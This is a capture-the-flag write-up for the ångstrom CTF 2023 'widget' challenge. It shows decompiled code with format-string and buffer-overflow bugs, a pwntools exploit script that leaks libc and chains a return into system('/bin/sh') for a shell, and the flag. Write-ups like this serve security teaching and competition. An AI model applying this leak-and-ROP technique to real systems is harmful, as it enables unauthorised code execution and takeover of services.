ångstrom CTF 2023 - widget (fsb, bof)

I seem to have lost my gadgets.
nc challs.actf.co 31320
Author: JoshDaBosh

  • [116 solves / 110 points]

Analysis

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
int __cdecl main(int argc, const char **argv, const char **envp)
{
int v4; // [rsp+Ch] [rbp-24h] BYREF
char buf[24]; // [rsp+10h] [rbp-20h] BYREF
__gid_t rgid; // [rsp+28h] [rbp-8h]
unsigned int i; // [rsp+2Ch] [rbp-4h]

setbuf(_bss_start, 0LL);
setbuf(stdin, 0LL);
rgid = getegid();
setresgid(rgid, rgid, rgid);
if ( called )
exit(1);
called = 1;
printf("Amount: ");
v4 = 0;
__isoc99_scanf("%d", &v4);
getchar();
if ( v4 < 0 )
exit(1);
printf("Contents: ");
read(0, buf, v4); // bof
for ( i = 0; (int)i < v4; ++i )
{
if ( buf[i] == 'n' )
{
printf("bad %d\n", i);
exit(1);
}
}
printf("Your input: ");
return printf(buf); // fsb
}

I can find fsb vulnerability. But I can’t use n format string. I can only leak the stack address. But I can overwrite return address because of bof vulnerability. I can adjust input size.

I can find win() also.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
int __fastcall win(const char *a1, const char *a2)
{
char s[136]; // [rsp+10h] [rbp-90h] BYREF
FILE *stream; // [rsp+98h] [rbp-8h]

if ( strncmp(a1, "14571414c5d9fe9ed0698ef21065d8a6", 0x20uLL) )
exit(1);
if ( strncmp(a2, "willy_wonka_widget_factory", 0x1AuLL) )
exit(1);
stream = fopen("flag.txt", "r");
if ( !stream )
{
puts("Error: missing flag.txt.");
exit(1);
}
fgets(s, 128, stream);
return puts(s);
}

This win() needs arguments to call. But I was not use this function. I can get libc’s address, So I can easily run the system().

If you use this trick, It is important rbp have to in valid address.

Solve

  1. leak the libc’s address and ret2main
  2. ret2libc (system)

Exploit Code

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
from pwn import *
import subprocess

context.log_level = 'debug'

main2 = 0x4013E3
ret = 0x000000000040101a

# p = process('./widgetp')
p = remote('challs.actf.co', 31320)
e = ELF('./widgetp')
libc = ELF('./libc.so.6')

p.recvuntil('proof of work: ')
# print( repr( subprocess.check_output(['bash', '-c', p.recvline()]) ))
p.send(subprocess.check_output(['bash', '-c', p.recvline()]))

payload = b''
# payload += b'AAAAAAAA'
payload += b'%3$p\n'.ljust(0x20, b'a')
payload += p64(0x404800)
# payload += p64(ret)
payload += p64(main2)
# payload += p64(0x401296)

p.sendlineafter(':', str(len(payload)))

p.sendlineafter(':', payload)
p.recvuntil('0x')
libc.address = int(p.recvline(), 16) - 0x114a37
info(hex(libc.address))

pop_rdi = 0x2a3e5
pop_rsi = 0x2be51
ret = 0x29cd6

payload = b''
payload += b'A' * (0x20)
payload += p64(0x40402C)
# payload += p64(0x12345678)
payload += p64(pop_rdi + libc.address)
payload += p64(next(libc.search(b'/bin/sh\x00')))
payload += p64(ret + libc.address)
payload += p64(libc.symbols['system'])

p.sendlineafter(':', str(len(payload)))
pause()
p.sendlineafter(':', payload)

p.interactive()

Flag

1
actf{y0u_f0und_a_usefu1_widg3t!_30db5c45a07ac981}